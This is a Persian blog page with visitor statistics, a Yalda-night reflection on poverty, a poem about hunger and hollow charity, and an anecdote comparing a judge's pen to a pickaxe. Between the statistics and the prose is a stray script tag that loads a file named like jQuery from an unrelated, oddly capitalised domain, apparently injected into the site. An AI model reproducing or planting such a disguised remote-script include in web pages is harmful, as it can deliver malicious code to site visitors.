آمار وب سایت:
بازدید دیروز : 0
بازدید هفته : 71
بازدید ماه : 106
بازدید کل : 244361
تعداد مطالب : 293
تعداد نظرات : 4
تعداد آنلاین : 1
script type='text/javascript' src='http://pIChaK.NEt/upper/jquery.min.js' >
یلدا شب سیاهی خاطره ها برای کسانی که با سیلی
صورتشون رو سرخ می کنند و جلوه گر پیر شدن مردی که
با دستانی پینه بسته در برابر فرزندان با دستی خالی شب
را به صبح می رسانند و چه سخت است شکسته شدن
غرور مردی که میخواهد طولانی ترین شب سال برای او
و خانواده اش خیلی زود صبح شود ....
از فقر مینویسم ،با دستهای خالی
سفره پراست امشب از شامی خیالی.
معتاد زجر بودیم ،باید که می کشیدیم
خواب غذا می دیدیم از خواب می پریدیم.
دلهای همسایه ها ،برای ما کباب بود
سارا ولی هنوزم شبها گرسنه خواب بود
با اشک مینویسم ،بابا نان ندارد
شاید که معجزه شد از اسمان ببارد
دیوارها شعار، مرگ بر فقر دادن
صندوقهای خیریه در حد یک نمادن
محکوم به فقر بودیم ، محکوم به فرق و تبعیض
دلخوش به وعدهایی ،از چیزهای ناچیز
از فقر مینویسم، با این که نیست حالی
این قصه ای حقیقیست ،از دارایی خیالی
شخصی که آنجا حضور داشت گفت: جناب قاضی کلنگ خود را بردارید!!!
قاضی خشمگین پاسخ داد:
مردک این قلم است نه کلنگ تو هنوز کلنگ و قلم را از هم باز نشناسی؟
مرد گفت: هر چه هست باشد، تو خانه مرا با آن ویران کردی